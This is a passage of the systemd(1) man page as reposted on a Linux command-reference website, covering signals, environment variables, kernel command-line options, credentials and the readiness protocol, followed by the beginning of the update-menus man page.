Note that transactions are generated independently of a units state at runtime, hence, for example, if a start job is requested on an already started unit, it will still generate a transaction and wake up any inactive dependencies (and cause propagation of other jobs as per the defined relationships). This is because the enqueued job is at the time of execution compared to the target units state and is marked successful and complete when both satisfy. However, this job also pulls in other dependencies due to the defined relationships and thus leads to, in our example, start jobs for any of those inactive units getting queued as well.

Units may be generated dynamically at boot and system manager reload time, for example based on other configuration files or parameters passed on the kernel command line. For details, see systemd.generator(7).

DIRECTORIES

System unit directories

The systemd system manager reads unit configuration from various directories. Packages that want to install unit files shall place them in the directory returned by pkg-config systemd –variable=systemdsystemunitdir. Other directories checked are /usr/local/lib/systemd/system and /usr/lib/systemd/system. User configuration always takes precedence. pkg-config systemd –variable=systemdsystemconfdir returns the path of the system configuration directory. Packages should alter the content of these directories only with the enable and disable commands of the systemctl(1) tool. Full list of directories is provided in systemd.unit(5).

User unit directories

Similar rules apply for the user unit directories. However, here the XDG Base Directory specification[5] is followed to find units. Applications should place their unit files in the directory returned by pkg-config systemd –variable=systemduserunitdir. Global configuration is done in the directory reported by pkg-config systemd –variable=systemduserconfdir. The enable and disable commands of the systemctl(1) tool can handle both global (i.e. for all users) and private (for one user) enabling/disabling of units. Full list of directories is provided in systemd.unit(5).

SysV init scripts directory

The location of the SysV init script directory varies between distributions. If systemd cannot find a native unit file for a requested service, it will look for a SysV init script of the same name (with the .service suffix removed).

SysV runlevel link farm directory

The location of the SysV runlevel link farm directory varies between distributions. systemd will take the link farm into account when figuring out whether a service shall be enabled. Note that a service unit with a native unit configuration file cannot be started by activating it in the SysV runlevel link farm.

SIGNALS

The service listens to various UNIX process signals that can be used to request various actions asynchronously. The signal handling is enabled very early during boot, before any further processes are invoked. However, a supervising container manager or similar that intends to request these operations via this mechanism must take into consideration that this functionality is not available during the earliest initialization phase. An sd_notify() notification message carrying the X_SYSTEMD_SIGNALS_LEVEL=2 field is emitted once the signal handlers are enabled, see below. This may be used to schedule submission of these signals correctly.

SIGTERM

Upon receiving this signal the systemd system manager serializes its state, reexecutes itself and deserializes the saved state again. This is mostly equivalent to systemctl daemon-reexec.

systemd user managers will start the exit.target unit when this signal is received. This is mostly equivalent to systemctl –user start exit.target –job-mode=replace-irreversibly.

SIGINT

Upon receiving this signal the systemd system manager will start the ctrl-alt-del.target unit. This is mostly equivalent to systemctl start ctrl-alt-del.target –job-mode=replace-irreversibly. If this signal is received more than 7 times per 2s, an immediate reboot is triggered. Note that pressing Ctrl+Alt+Del on the console will trigger this signal. Hence, if a reboot is hanging, pressing Ctrl+Alt+Del more than 7 times in 2 seconds is a relatively safe way to trigger an immediate reboot.

systemd user managers treat this signal the same way as SIGTERM.

SIGWINCH

When this signal is received the systemd system manager will start the kbrequest.target unit. This is mostly equivalent to systemctl start kbrequest.target.

This signal is ignored by systemd user managers.

SIGPWR

When this signal is received the systemd manager will start the sigpwr.target unit. This is mostly equivalent to systemctl start sigpwr.target.

SIGUSR1

When this signal is received the systemd manager will try to reconnect to the D-Bus bus.

SIGUSR2

When this signal is received the systemd manager will log its complete state in human-readable form. The data logged is the same as printed by systemd-analyze dump.

SIGHUP

Reloads the complete daemon configuration. This is mostly equivalent to systemctl daemon-reload.

SIGRTMIN+0

Enters default mode, starts the default.target unit. This is mostly equivalent to systemctl isolate default.target.

SIGRTMIN+1

Enters rescue mode, starts the rescue.target unit. This is mostly equivalent to systemctl isolate rescue.target.

SIGRTMIN+2

Enters emergency mode, starts the emergency.service unit. This is mostly equivalent to systemctl isolate emergency.service.

SIGRTMIN+3

Halts the machine, starts the halt.target unit. This is mostly equivalent to systemctl start halt.target –job-mode=replace-irreversibly.

SIGRTMIN+4

Powers off the machine, starts the poweroff.target unit. This is mostly equivalent to systemctl start poweroff.target –job-mode=replace-irreversibly.

SIGRTMIN+5

Reboots the machine, starts the reboot.target unit. This is mostly equivalent to systemctl start reboot.target –job-mode=replace-irreversibly.

SIGRTMIN+6

Reboots the machine via kexec, starts the kexec.target unit. This is mostly equivalent to systemctl start kexec.target –job-mode=replace-irreversibly.

SIGRTMIN+7

Reboots userspace, starts the soft-reboot.target unit. This is mostly equivalent to systemctl start soft-reboot.target –job-mode=replace-irreversibly.

Added in version 254.

SIGRTMIN+13

Immediately halts the machine.

SIGRTMIN+14

Immediately powers off the machine.

SIGRTMIN+15

Immediately reboots the machine.

SIGRTMIN+16

Immediately reboots the machine with kexec.

SIGRTMIN+17

Immediately reboots the userspace.

Added in version 254.

SIGRTMIN+20

Enables display of status messages on the console, as controlled via systemd.show_status=1 on the kernel command line.

SIGRTMIN+21

Disables display of status messages on the console, as controlled via systemd.show_status=0 on the kernel command line.

SIGRTMIN+22

Sets the service managers log level to “debug”, in a fashion equivalent to systemd.log_level=debug on the kernel command line.

SIGRTMIN+23

Restores the log level to its configured value. The configured value is derived from – in order of priority – the value specified with systemd.log-level= on the kernel command line, or the value specified with LogLevel= in the configuration file, or the built-in default of “info”.

Added in version 239.

SIGRTMIN+24

Immediately exits the manager (only available for –user instances).

Added in version 195.

SIGRTMIN+25

Upon receiving this signal the systemd manager will reexecute itself. This is mostly equivalent to systemctl daemon-reexec except that it will be done asynchronously.

The systemd system manager treats this signal the same way as SIGTERM.

Added in version 250.

SIGRTMIN+26

Restores the log target to its configured value. The configured value is derived from – in order of priority – the value specified with systemd.log-target= on the kernel command line, or the value specified with LogTarget= in the configuration file, or the built-in default.

Added in version 239.

SIGRTMIN+27, SIGRTMIN+28

Sets the log target to “console” on SIGRTMIN+27 (or “kmsg” on SIGRTMIN+28), in a fashion equivalent to systemd.log_target=console (or systemd.log_target=kmsg on SIGRTMIN+28) on the kernel command line.

Added in version 239.

ENVIRONMENT

The environment block for the system manager is initially set by the kernel. (In particular, “key=value” assignments on the kernel command line are turned into environment variables for PID 1). For the user manager, the system manager sets the environment as described in the “Environment Variables in Spawned Processes” section of systemd.exec(5). The DefaultEnvironment= setting in the system manager applies to all services including [email protected]. Additional entries may be configured (as for any other service) through the Environment= and EnvironmentFile= settings for [email protected] (see systemd.exec(5)). Also, additional environment variables may be set through the ManagerEnvironment= setting in systemd-system.conf(5) and systemd-user.conf(5).

Some of the variables understood by systemd:

$SYSTEMD_LOG_LEVEL

The maximum log level of emitted messages (messages with a higher log level, i.e. less important ones, will be suppressed). Takes a comma-separated list of values. A value may be either one of (in order of decreasing importance) emerg, alert, crit, err, warning, notice, info, debug, or an integer in the range 0…7. See syslog(3) for more information. Each value may optionally be prefixed with one of console, syslog, kmsg or journal followed by a colon to set the maximum log level for that specific log target (e.g. SYSTEMD_LOG_LEVEL=debug,console:info specifies to log at debug level except when logging to the console which should be at info level). Note that the global maximum log level takes priority over any per target maximum log levels.

This can be overridden with –log-level=.

$SYSTEMD_LOG_COLOR

A boolean. If true, messages written to the tty will be colored according to priority.

This can be overridden with –log-color=.

$SYSTEMD_LOG_TIME

A boolean. If true, console log messages will be prefixed with a timestamp.

This can be overridden with –log-time=.

Added in version 246.

$SYSTEMD_LOG_LOCATION

A boolean. If true, messages will be prefixed with a filename and line number in the source code where the message originates.

This can be overridden with –log-location=.

$SYSTEMD_LOG_TID

A boolean. If true, messages will be prefixed with the current numerical thread ID (TID).

Added in version 247.

$SYSTEMD_LOG_TARGET

The destination for log messages. One of console (log to the attached tty), console-prefixed (log to the attached tty but with prefixes encoding the log level and “facility”, see syslog(3), kmsg (log to the kernel circular log buffer), journal (log to the journal), journal-or-kmsg (log to the journal if available, and to kmsg otherwise), auto (determine the appropriate log target automatically, the default), null (disable log output).

This can be overridden with –log-target=.

$SYSTEMD_LOG_RATELIMIT_KMSG

Whether to ratelimit kmsg or not. Takes a boolean. Defaults to “true”. If disabled, systemd will not ratelimit messages written to kmsg.

Added in version 254.

$XDG_CONFIG_HOME, $XDG_CONFIG_DIRS, $XDG_DATA_HOME, $XDG_DATA_DIRS

The systemd user manager uses these variables in accordance to the XDG Base Directory specification[5] to find its configuration.

$SYSTEMD_UNIT_PATH, $SYSTEMD_GENERATOR_PATH, $SYSTEMD_ENVIRONMENT_GENERATOR_PATH

Controls where systemd looks for unit files and generators.

These variables may contain a list of paths, separated by colons (":"). When set, if the list ends with an empty component ("…:"), this list is prepended to the usual set of paths. Otherwise, the specified list replaces the usual set of paths.

$SYSTEMD_PAGER

Pager to use when –no-pager is not given; overrides $PAGER. If neither $SYSTEMD_PAGER nor $PAGER are set, a set of well-known pager implementations are tried in turn, including less(1) and more(1), until one is found. If no pager implementation is discovered no pager is invoked. Setting this environment variable to an empty string or the value “cat” is equivalent to passing –no-pager.

Note: if $SYSTEMD_PAGERSECURE is not set, $SYSTEMD_PAGER (as well as $PAGER) will be silently ignored.

$SYSTEMD_LESS

Override the options passed to less (by default “FRSXMK”).

Users might want to change two options in particular:

K

This option instructs the pager to exit immediately when Ctrl+C is pressed. To allow less to handle Ctrl+C itself to switch back to the pager command prompt, unset this option.

If the value of $SYSTEMD_LESS does not include “K”, and the pager that is invoked is less, Ctrl+C will be ignored by the executable, and needs to be handled by the pager.

X

This option instructs the pager to not send termcap initialization and deinitialization strings to the terminal. It is set by default to allow command output to remain visible in the terminal even after the pager exits. Nevertheless, this prevents some pager functionality from working, in particular paged output cannot be scrolled with the mouse.

Note that setting the regular $LESS environment variable has no effect for less invocations by systemd tools.

See less(1) for more discussion.

$SYSTEMD_LESSCHARSET

Override the charset passed to less (by default “utf-8”, if the invoking terminal is determined to be UTF-8 compatible).

Note that setting the regular $LESSCHARSET environment variable has no effect for less invocations by systemd tools.

$SYSTEMD_PAGERSECURE

Takes a boolean argument. When true, the “secure” mode of the pager is enabled; if false, disabled. If $SYSTEMD_PAGERSECURE is not set at all, secure mode is enabled if the effective UID is not the same as the owner of the login session, see geteuid(2) and sd_pid_get_owner_uid(3). In secure mode, LESSSECURE=1 will be set when invoking the pager, and the pager shall disable commands that open or create new files or start new subprocesses. When $SYSTEMD_PAGERSECURE is not set at all, pagers which are not known to implement secure mode will not be used. (Currently only less(1) implements secure mode.)

Note: when commands are invoked with elevated privileges, for example under sudo(8) or pkexec(1), care must be taken to ensure that unintended interactive features are not enabled. “Secure” mode for the pager may be enabled automatically as describe above. Setting SYSTEMD_PAGERSECURE=0 or not removing it from the inherited environment allows the user to invoke arbitrary commands. Note that if the $SYSTEMD_PAGER or $PAGER variables are to be honoured, $SYSTEMD_PAGERSECURE must be set too. It might be reasonable to completely disable the pager using –no-pager instead.

$SYSTEMD_COLORS

Takes a boolean argument. When true, systemd and related utilities will use colors in their output, otherwise the output will be monochrome. Additionally, the variable can take one of the following special values: “16”, “256” to restrict the use of colors to the base 16 or 256 ANSI colors, respectively. This can be specified to override the automatic decision based on $TERM and what the console is connected to.

$SYSTEMD_URLIFY

The value must be a boolean. Controls whether clickable links should be generated in the output for terminal emulators supporting this. This can be specified to override the decision that systemd makes based on $TERM and other conditions.

$LISTEN_PID, $LISTEN_FDS, $LISTEN_FDNAMES

Set by systemd for supervised processes during socket-based activation. See sd_listen_fds(3) for more information.

$NOTIFY_SOCKET

Set by service manager for its services for status and readiness notifications. Also consumed by service manager for notifying supervising container managers or service managers up the stack about its own progress. See sd_notify(3) and the relevant section below for more information.

For further environment variables understood by systemd and its various components, see Known Environment Variables[6].

KERNEL COMMAND LINE

When run as the system instance, systemd parses a number of options listed below. They can be specified as kernel command line arguments which are parsed from a number of sources depending on the environment in which systemd is executed. If run inside a Linux container, these options are parsed from the command line arguments passed to systemd itself, next to any of the command line options listed in the Options section above. If run outside of Linux containers, these arguments are parsed from /proc/cmdline and from the “SystemdOptions” EFI variable (on EFI systems) instead. Options from /proc/cmdline have higher priority.

Note: use of “SystemdOptions” is deprecated.

The following variables are understood:

systemd.unit=, rd.systemd.unit=

Overrides the unit to activate on boot. Defaults to default.target. This may be used to temporarily boot into a different boot unit, for example rescue.target or emergency.service. See systemd.special(7) for details about these units. The option prefixed with “rd.” is honored only in the initrd, while the one that is not prefixed only in the main system.

systemd.dump_core

Takes a boolean argument or enables the option if specified without an argument. If enabled, the systemd manager (PID 1) dumps core when it crashes. Otherwise, no core dump is created. Defaults to enabled.

Added in version 233.

systemd.crash_chvt

Takes a positive integer, or a boolean argument. Can be also specified without an argument, with the same effect as a positive boolean. If a positive integer (in the range 1–63) is specified, the system manager (PID 1) will activate the specified virtual terminal when it crashes. Defaults to disabled, meaning that no such switch is attempted. If set to enabled, the virtual terminal the kernel messages are written to is used instead.

Added in version 233.

systemd.crash_shell

Takes a boolean argument or enables the option if specified without an argument. If enabled, the system manager (PID 1) spawns a shell when it crashes, after a 10s delay. Otherwise, no shell is spawned. Defaults to disabled, for security reasons, as the shell is not protected by password authentication.

Added in version 233.

systemd.crash_action=

Takes one of “freeze”, “reboot” or “poweroff”. Defaults to “freeze”. If set to “freeze”, the system will hang indefinitely when the system manager (PID 1) crashes. If set to “reboot”, the system manager (PID 1) will reboot the machine automatically when it crashes, after a 10s delay. If set to “poweroff”, the system manager (PID 1) will power off the machine immediately when it crashes. If combined with systemd.crash_shell, the configured crash action is executed after the shell exits.

Added in version 256.

systemd.confirm_spawn

Takes a boolean argument or a path to the virtual console where the confirmation messages should be emitted. Can be also specified without an argument, with the same effect as a positive boolean. If enabled, the system manager (PID 1) asks for confirmation when spawning processes using /dev/console. If a path or a console name (such as “ttyS0”) is provided, the virtual console pointed to by this path or described by the give name will be used instead. Defaults to disabled.

Added in version 233.

systemd.service_watchdogs=

Takes a boolean argument. If disabled, all service runtime watchdogs (WatchdogSec=) and emergency actions (e.g. OnFailure= or StartLimitAction=) are ignored by the system manager (PID 1); see systemd.service(5). Defaults to enabled, i.e. watchdogs and failure actions are processed normally. The hardware watchdog is not affected by this option.

Added in version 237.

systemd.show_status

Takes a boolean argument or the constants error and auto. Can be also specified without an argument, with the same effect as a positive boolean. If enabled, the systemd manager (PID 1) shows terse service status updates on the console during bootup. With error, only messages about failures are shown, but boot is otherwise quiet. auto behaves like false until there is a significant delay in boot. Defaults to enabled, unless quiet is passed as kernel command line option, in which case it defaults to error. If specified overrides the system manager configuration file option ShowStatus=, see systemd-system.conf(5).

Added in version 233.

systemd.status_unit_format=

Takes name, description or combined as the value. If name, the system manager will use unit names in status messages. If combined, the system manager will use unit names and description in status messages. When specified, overrides the system manager configuration file option StatusUnitFormat=, see systemd-system.conf(5).

Added in version 243.

systemd.log_color, systemd.log_level=, systemd.log_location, systemd.log_target=, systemd.log_time, systemd.log_tid, systemd.log_ratelimit_kmsg

Controls log output, with the same effect as the $SYSTEMD_LOG_COLOR, $SYSTEMD_LOG_LEVEL, $SYSTEMD_LOG_LOCATION, $SYSTEMD_LOG_TARGET, $SYSTEMD_LOG_TIME, $SYSTEMD_LOG_TID and $SYSTEMD_LOG_RATELIMIT_KMSG environment variables described above. systemd.log_color, systemd.log_location, systemd.log_time, systemd.log_tid and systemd.log_ratelimit_kmsg can be specified without an argument, with the same effect as a positive boolean.

systemd.default_standard_output=, systemd.default_standard_error=

Controls default standard output and error output for services and sockets. That is, controls the default for StandardOutput= and StandardError= (see systemd.exec(5) for details). Takes one of inherit, null, tty, journal, journal+console, kmsg, kmsg+console. If the argument is omitted systemd.default-standard-output= defaults to journal and systemd.default-standard-error= to inherit.

systemd.setenv=

Takes a string argument in the form VARIABLE=VALUE. May be used to set default environment variables to add to forked child processes. May be used more than once to set multiple variables.

systemd.machine_id=

Takes a 32 character hex value to be used for setting the machine-id. Intended mostly for network booting where the same machine-id is desired for every boot.

Added in version 229.

systemd.set_credential=, systemd.set_credential_binary=

Sets a system credential, which can then be propagated to system services using the ImportCredential= or LoadCredential= setting, see systemd.exec(5) for details. Takes a pair of credential name and value, separated by a colon. The systemd.set_credential= parameter expects the credential value in literal text form, the systemd.set_credential_binary= parameter takes binary data encoded in Base64. Note that the kernel command line is typically accessible by unprivileged programs in /proc/cmdline. Thus, this mechanism is not suitable for transferring sensitive data. Use it only for data that is not sensitive (e.g. public keys/certificates, rather than private keys), or in testing/debugging environments.

For further information see System and Service Credentials[7] documentation.

Added in version 251.

systemd.import_credentials=

Takes a boolean argument. If false disables importing credentials from the kernel command line, the DMI/SMBIOS OEM string table, the qemu_fw_cfg subsystem or the EFI kernel stub.

Added in version 251.

quiet

Turn off status output at boot, much like systemd.show_status=no would. Note that this option is also read by the kernel itself and disables kernel log output. Passing this option hence turns off the usual output from both the system manager and the kernel.

Added in version 186.

debug

Turn on debugging output. This is equivalent to systemd.log_level=debug. Note that this option is also read by the kernel itself and enables kernel debug output. Passing this option hence turns on the debug output from both the system manager and the kernel.

Added in version 205.

emergency, rd.emergency, -b

Boot into emergency mode. This is equivalent to systemd.unit=emergency.target or rd.systemd.unit=emergency.target, respectively, and provided for compatibility reasons and to be easier to type.

Added in version 186.

rescue, rd.rescue, single, s, S, 1

Boot into rescue mode. This is equivalent to systemd.unit=rescue.target or rd.systemd.unit=rescue.target, respectively, and provided for compatibility reasons and to be easier to type.

Added in version 186.

2, 3, 4, 5

Boot into the specified legacy SysV runlevel. These are equivalent to systemd.unit=runlevel2.target, systemd.unit=runlevel3.target, systemd.unit=runlevel4.target, and systemd.unit=runlevel5.target, respectively, and provided for compatibility reasons and to be easier to type.

Added in version 186.

locale.LANG=, locale.LANGUAGE=, locale.LC_CTYPE=, locale.LC_NUMERIC=, locale.LC_TIME=, locale.LC_COLLATE=, locale.LC_MONETARY=, locale.LC_MESSAGES=, locale.LC_PAPER=, locale.LC_NAME=, locale.LC_ADDRESS=, locale.LC_TELEPHONE=, locale.LC_MEASUREMENT=, locale.LC_IDENTIFICATION=

Set the system locale to use. This overrides the settings in /etc/locale.conf. For more information, see locale.conf(5) and locale(7).

Added in version 186.

For other kernel command line parameters understood by components of the core OS, please refer to kernel-command-line(7).

SYSTEM CREDENTIALS

During initialization the service manager will import credentials from various sources into the systems set of credentials, which can then be propagated into services and consumed by generators:

·

When the service manager first initializes it will read system credentials from SMBIOS Type 11 vendor strings io.systemd.credential:name=value, and io.systemd.credential.binary:name=value.

·

At the same time it will import credentials from QEMU “fw_cfg”. (Note that the SMBIOS mechanism is generally preferred, because it is faster and generic.)

·

Credentials may be passed via the kernel command line, using the systemd.set-credential= parameter, see above.

·

Credentials may be passed from the UEFI environment via systemd-stub(7).

·

When the service manager is invoked during the initrd → host transition it will import all files in /run/credentials/@initrd/ as system credentials.

Invoke systemd-creds(1) as follows to see the list of credentials passed into the system:

systemd-creds –system list

For further information see System and Service Credentials[7] documentation.

The service manager when run as PID 1 consumes the following system credentials:

vmm.notify_socket

Contains a AF_VSOCK or AF_UNIX address where to send a READY=1 notification message when the service manager has completed booting. See sd_notify(3) and the next section for more information. Note that in case the hypervisor does not support SOCK_DGRAM over AF_VSOCK, SOCK_SEQPACKET will be tried instead. The credential payload for AF_VSOCK should be a string in the form “vsock:CID:PORT”. “vsock-stream”, “vsock-dgram” and “vsock-seqpacket” can be used instead of “vsock” to force usage of the corresponding socket type.

This feature is useful for machine managers or other processes on the host to receive a notification via VSOCK when a virtual machine has finished booting.

Added in version 254.

system.machine_id

Takes a 128bit hexadecimal ID to initialize /etc/machine-id from, if the file is not set up yet. See machine-id(5) for details.

Added in version 254.

For a list of system credentials various other components of systemd consume, see systemd.system-credentials(7).

READINESS PROTOCOL

The service manager implements a readiness notification protocol both between the manager and its services (i.e. down the stack), and between the manager and a potential supervisor further up the stack (the latter could be a machine or container manager, or in case of a per-user service manager the system service manager instance). The basic protocol (and the suggested API for it) is described in sd_notify(3).

The notification socket the service manager (including PID 1) uses for reporting readiness to its own supervisor is set via the usual $NOTIFY_SOCKET environment variable (see above). Since this is directly settable only for container managers and for the per-user instance of the service manager, an additional mechanism to configure this is available, in particular intended for use in VM environments: the vmm.notify_socket system credential (see above) may be set to a suitable socket (typically an AF_VSOCK one) via SMBIOS Type 11 vendor strings. For details see above.

The notification protocol from the service manager up the stack towards a supervisor supports a number of extension fields that allow a supervisor to learn about specific properties of the system and track its boot progress. Specifically the following fields are sent:

·

An X_SYSTEMD_HOSTNAME=… message will be sent out once the initial hostname for the system has been determined. Note that during later runtime the hostname might be changed again programmatically, and (currently) no further notifications are sent out in that case.

Added in version 256.

·

An X_SYSTEMD_MACHINE_ID=… message will be sent out once the machine ID of the system has been determined. See machine-id(5) for details.

Added in version 256.

·

An X_SYSTEMD_SIGNALS_LEVEL=… message will be sent out once the service manager installed the various UNIX process signal handlers described above. The fields value is an unsigned integer formatted as decimal string, and indicates the supported UNIX process signal feature level of the service manager. Currently, only a single feature level is defined:

·

X_SYSTEMD_SIGNALS_LEVEL=2 covers the various UNIX process signals documented above – which are a superset of those supported by the historical SysV init system.

Signals sent to PID 1 before this message is sent might not be handled correctly yet. A consumer of these messages should parse the value as an unsigned integer indication the level of support. For now only the mentioned level 2 is defined, but later on additional levels might be defined with higher integers, that will implement a superset of the currently defined behaviour.

Added in version 256.

·

X_SYSTEMD_UNIT_ACTIVE=… and X_SYSTEMD_UNIT_INACTIVE=… messages will be sent out for each target unit as it becomes active or stops being active. This is useful to track boot progress and functionality. For example, once the ssh-access.target unit is reported started SSH access is typically available, see systemd.special(7) for details.

Added in version 256.

·

An X_SYSTEMD_SHUTDOWN=… message will be sent out very shortly before the system shuts down. The value is one of the strings “reboot”, “halt”, “poweroff”, “kexec” and indicates which kind of shutdown is being executed.

Added in version 256.

·

An X_SYSTEMD_REBOOT_PARAMETER=… message will also be sent out very shortly before the system shuts down. Its value is the reboot argument as configured with systemctl –reboot-argument=….

Added in version 256.

Note that these extension fields are sent in addition to the regular “READY=1” and “RELOADING=1” notifications.

OPTIONS

systemd is only very rarely invoked directly, since it is started early and is already running by the time users may interact with it. Normally, tools like systemctl(1) are used to give commands to the manager. Since systemd is usually not invoked directly, the options listed below are mostly useful for debugging and special purposes.

Introspection and debugging options

Those options are used for testing and introspection, and systemd may be invoked with them at any time:

–dump-configuration-items

Dump understood unit configuration items. This outputs a terse but complete list of configuration items understood in unit definition files.

–dump-bus-properties

Dump exposed bus properties. This outputs a terse but complete list of properties exposed on D-Bus.

Added in version 239.

–test

Determine the initial start-up transaction (i.e. the list of jobs enqueued at start-up), dump it and exit — without actually executing any of the determined jobs. This option is useful for debugging only. Note that during regular service manager start-up additional units not shown by this operation may be started, because hardware, socket, bus or other kinds of activation might add additional jobs as the transaction is executed. Use –system to request the initial transaction of the system service manager (this is also the implied default), combine with –user to request the initial transaction of the per-user service manager instead.

–system, –user

When used in conjunction with –test, selects whether to calculate the initial transaction for the system instance or for a per-user instance. These options have no effect when invoked without –test, as during regular (i.e. non-–test) invocations the service manager will automatically detect whether it shall operate in system or per-user mode, by checking whether the PID it is run as is 1 or not. Note that it is not supported booting and maintaining a system with the service manager running in –system mode but with a PID other than 1.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

Options that duplicate kernel command line settings

Those options correspond directly to options listed above in “Kernel Command Line”. Both forms may be used equivalently for the system manager, but it is recommended to use the forms listed above in this context, because they are properly namespaced. When an option is specified both on the kernel command line and as a normal command line argument, the latter has higher precedence.

When systemd is used as a user manager, the kernel command line is ignored and only the options described below are understood. Nevertheless, systemd is usually started in this mode through the [email protected](5) service, which is shared between all users. It may be more convenient to use configuration files to modify settings (see systemd-user.conf(5)), or environment variables. See the “Environment” section above for a discussion of how the environment block is set.

–unit=

Set default unit to activate on startup. If not specified, defaults to default.target. See systemd.unit= above.

–dump-core

Enable core dumping on crash. This switch has no effect when running as user instance. Same as systemd.dump_core= above.

**–crash-vt=**VT

Switch to a specific virtual console (VT) on crash. This switch has no effect when running as user instance. Same as systemd.crash_chvt= above (but not the different spelling!).

Added in version 227.

–crash-shell

Run a shell on crash. This switch has no effect when running as user instance. See systemd.crash_shell= above.

–crash-action=

Specify what to do when the system manager (PID 1) crashes. This switch has no effect when systemd is running as user instance. See systemd.crash_action= above.

Added in version 256.

–confirm-spawn

Ask for confirmation when spawning processes. This switch has no effect when run as user instance. See systemd.confirm_spawn above.

–show-status

Show terse unit status information on the console during boot-up and shutdown. See systemd.show_status above.

Added in version 244.

–log-color

Highlight important log messages. See systemd.log_color above.

Added in version 244.

–log-level=

Set log level. See systemd.log_level above.

–log-location

Include code location in log messages. See systemd.log_location above.

Added in version 244.

–log-target=

Set log target. See systemd.log_target above.

–log-time=

Prefix console messages with timestamp. See systemd.log_time above.

Added in version 246.

–machine-id=

Override the machine-id set on the hard drive. See systemd.machine_id= above.

Added in version 229.

–service-watchdogs

Globally enable/disable all service watchdog timeouts and emergency actions. See systemd.service_watchdogs above.

Added in version 237.

–default-standard-output=, –default-standard-error=

Sets the default output or error output for all services and sockets, respectively. See systemd.default_standard_output= and systemd.default_standard_error= above.

SOCKETS AND FIFOS

/run/systemd/notify

Daemon status notification socket. This is an AF_UNIX datagram socket and is used to implement the daemon notification logic as implemented by sd_notify(3).

/run/systemd/private

Used internally as communication channel between systemctl(1) and the systemd process. This is an AF_UNIX stream socket. This interface is private to systemd and should not be used in external projects.

/dev/initctl

Limited compatibility support for the SysV client interface, as implemented by the systemd-initctl.service unit. This is a named pipe in the file system. This interface is obsolete and should not be used in new applications.

HISTORY

systemd 252

Kernel command-line arguments systemd.unified_cgroup_hierarchy and systemd.legacy_systemd_cgroup_controller were deprecated. Please switch to the unified cgroup hierarchy.

Added in version 252.

SEE ALSO

The systemd Homepage[8], systemd-system.conf(5), locale.conf(5), systemctl(1), journalctl(1), systemd-notify(1), daemon(7), sd-daemon(3), org.freedesktop.systemd1(5), systemd.unit(5), systemd.special(7), pkg-config(1), kernel-command-line(7), bootup(7), systemd.directives(7)

For more information about the concepts and ideas behind systemd, please refer to the Original Design Document[9].

NOTES

Interface Portability and Stability Promise

https://systemd.io/PORTABILITY_AND_STABILITY/

Container Interface

https://systemd.io/CONTAINER_INTERFACE

initrd Interface

https://systemd.io/INITRD_INTERFACE/

Control Groups v2

https://docs.kernel.org/admin-guide/cgroup-v2.html

XDG Base Directory specification

https://standards.freedesktop.org/basedir-spec/basedir-spec-latest.html

Known Environment Variables

https://systemd.io/ENVIRONMENT

System and Service Credentials

https://systemd.io/CREDENTIALS

systemd Homepage

https://systemd.io/

Original Design Document

https://0pointer.de/blog/projects/systemd.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2176 - Linux cli command update-menus

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command update-menus and provides detailed information about the command update-menus, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the update-menus.

NAME 🖥️ update-menus 🖥️

menus - generate Debian menu system

SYNOPSIS

update-menus [-v] [-d] [-h|–help] [–version] [–menufilesdir <dir>] [–menumethod <method>] [–nodefaultdirs] [–stdout]

DESCRIPTION

Before the advent of update-menus, when the system administrators installed a package onto a Debian system, they would need to edit various window manager configuration files to make the new program show up on, for example, fvwm’s menus. The menus could easily become out of sync with what programs were actually available, with some menu items that didn’t work, and other programs that lacked a menu entry. update-menus and Debian’s menu package aim to solve this problem.

update-menus automatically generates menus of installed programs for window managers and other menu programs. It should be run whenever a menufile(5) or menu-method file is changed. update-menus will be run automatically when Debian packages that contain menu files are installed on or removed from the system.

update-menus uses the package-supplied menu entry files (in /usr/share/menu) for its information about the menus (but this can be overruled by the system administrator/user; see below). If a menu entry file is executable, update-menus executes the menu entry file, and uses its stdout to generate the menu database.

OPTIONS

-v
Verbose output. Shows all arguments to the /etc/menu-methods programs.

-d
Debug output. Generates loads of unintelligible output.

-h, –help
Display usage help and exit.

–menufilesdir <dir>
Adds directory <dir> to the list of directories to search for menu files in.

–menumethod <method>
Process only the menu method <method> instead of all the menu methods found.

–nodefaultdirs
Disables the search of menu entries in system menu directories.

–nodpkgcheck
Do not discard menu entries for packages that are not installed according to dpkg.

–remove
Remove the menus by calling the menu-methods with –remove.

–stdout
Output the menu list in a format suitable as input for install-menu or a menu method file.

–version
Output version information and exit.

CONFIGURATION

There are several ways to tune the operation of update-menus:

per menu entry, in /etc/menu/$package

In these directories the system administrator or user can override the default menu files (If a file /etc/menu/$package exists, than the corresponding /usr/share/menu/$package file isn’t read any more). Users who want to override the system wide defaults put their files in ~/.menu. See also menufile(5)

per window-manager in /etc/menu-methods/$wm

In these configuration files, one can tune generated system.${wm}rc files for each individual window manager. For example, one can specify that the wm should ignore any icons that the packages may supply, or set the default wrapper for text-only applications (usually, an xterm is started to run a text-only application like vi). Users who want to override the system wide defaults put their files in ~/.menu-methods. For more info, see /usr/share/doc/menu/html.

globally, in /etc/menu-methods/translate_menus

